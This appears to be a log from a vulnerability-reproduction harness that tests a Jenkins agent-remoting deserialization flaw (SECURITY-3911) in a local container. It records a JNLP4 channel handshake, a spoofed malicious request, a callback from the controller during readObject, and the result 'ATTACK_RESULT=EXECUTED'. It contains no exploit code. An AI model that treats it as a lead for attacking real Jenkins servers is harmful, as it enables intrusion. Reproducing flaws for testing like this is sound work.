WARNING: Error loading config file: open /home/pruva/.docker/config.json: permission denied
PROTOCOL JNLP4-connect-proxy not supported by endpoint, skipping
TRYING_PROTOCOL JNLP4-connect
Aug 06, 2026 8:26:59 AM org.jenkinsci.remoting.protocol.impl.BIONetworkLayer$Reader run
INFO: Waiting for ProtocolStack to start.
HANDSHAKE properties approved by client listener
CHANNEL_ESTABLISHED protocol=JNLP4-connect name=JNLP4-connect connection to jenkins-ctl-vuln-2-1786004798/172.18.0.2:50000
AGENT_CHANNEL_FILTER=hudson.remoting.Channel (agent side, outbound)
HANDSHAKE afterChannel: channel created
MALICIOUS_REQUEST prepared, spoofed payload bytes=181
CALLBACK_RECEIVED from=/172.18.0.2:46144 msg=SECURITY3911_CALLBACK token=security3911-vuln-2-1786004798 phase=readObject controller_host=f638de356458
EXCEPTION=ClassCastException: class hudson.security3911.Payload cannot be cast to class hudson.remoting.Callable (hudson.security3911.Payload is in unnamed module of loader 'app'; hudson.remoting.Callable is in unnamed module of loader org.eclipse.jetty.ee.webapp.WebAppClassLoader @28276e50)
CALLBACK_COUNT=1
ATTACK_RESULT=EXECUTED EXPECT=EXECUTED